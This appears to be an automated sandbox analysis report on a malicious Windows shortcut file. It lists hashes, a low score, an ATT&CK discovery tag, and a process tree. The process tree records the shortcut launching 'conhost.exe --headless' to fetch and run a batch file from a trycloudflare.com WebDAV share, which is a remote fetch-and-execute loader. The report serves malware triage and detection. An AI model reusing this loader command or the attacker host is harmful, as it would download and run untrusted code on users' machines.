5e5d501329aa1482df6fab3da7b839bc0b0f049cc9c1ebd79860e1d7b0e0086d

Analysis

max time kernel
92s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
13-09-2024 01:21

Target

5e5d501329aa1482df6fab3da7b839bc0b0f049cc9c1ebd79860e1d7b0e0086d.lnk
Size

1KB
MD5

526d4eb3a66830fe999eedf188597d1d
SHA1

576456543591f954837815cce7810698e59dfcc8
SHA256

5e5d501329aa1482df6fab3da7b839bc0b0f049cc9c1ebd79860e1d7b0e0086d
SHA512

f34f1fdb6faa9a001345cb876a97fadae06c3b493ad1599b52408418122929f9014eb5ecf78768e2c82cfdc4371f3589589773e45717638f822afcde407e27b5

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 2504	3820	cmd.exe	84
PID 3820 wrote to memory of 2504	3820	cmd.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\5e5d501329aa1482df6fab3da7b839bc0b0f049cc9c1ebd79860e1d7b0e0086d.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless \\replication-matches-fixes-casa.trycloudflare.com@SSL\DavWWWRoot\new.bat
  2⤵
  PID:2504

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact